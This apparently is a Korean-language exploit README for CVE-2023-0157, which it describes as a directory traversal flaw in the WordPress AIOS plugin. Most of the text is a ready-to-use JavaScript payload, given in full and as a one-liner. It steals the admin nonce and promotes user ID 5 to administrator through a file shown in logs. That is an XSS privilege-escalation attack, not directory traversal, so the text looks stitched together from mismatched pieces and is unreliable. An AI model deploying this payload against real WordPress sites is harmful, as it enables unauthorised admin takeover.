
CVE-2023-0157 취약점에 대한 저장소입니다.
CVE ID: CVE-2023-0157
취약점 유형: 디렉터리 트래버설
설명: WordPress용 All-In-One Security (AIOS) 플러그인은 버전 5.1.4까지 디렉터리 트래버설에 취약합니다. 이로 인해 관리자 수준 권한을 가진 인증된 공격자가 서버의 임의 파일 내용을 읽을 수 있습니다.
재현 단계:
Just create a test.pdf file with JavaScript content (necessarily in one line) and display the file in the Host system logs.
An example of a JavaScript payload increasing the privileges of a user with ID 5
<script>
fetch("https://<host>/wp-admin/users.php?update=promote")
.then(function(response) {
return response.text()
})
.then(function(html) {
var parser = new DOMParser();
var doc = parser.parseFromString(html, "text/html");
return doc.querySelector("#_wpnonce").value;
})
.then(function(nonce) {
fetch("https://<host>/wp-admin/users.php?s=&_wpnonce=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=administrator&changeit=Zmie%C5%84&paged=1&users%5B%5D=5&action2=-1&new_role2=administrator")
.then(function(response) {
console.log(response.text());
})
.catch(function(err) {
console.log('Failed to fetch page: ', err);
});
})
.catch(function(err) {
console.log('Failed to fetch page: ', err);
});
</script>
Oneliner:
fetch("https://<host>/wp-admin/users.php?update=promote").then(function(response) {return response.text()}).then(function(html) {var parser = new DOMParser();var doc = parser.parseFromString(html, "text/html");return doc.querySelector("#_wpnonce").value;}).then(function(nonce) {fetch("https://<host>/wp-admin/users.php?s=&_wpnonce=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fusers.php&action=-1&new_role=administrator&changeit=Zmie%C5%84&paged=1&users%5B%5D=5&action2=-1&new_role2=administrator").then(function(response) {console.log(response.text());}).catch(function(err) {console.log('Failed to fetch page: ', err); });}).catch(function(err) {console.log('Failed to fetch page: ', err);});
값을 <> 기호로 바꾸십시오.
참고: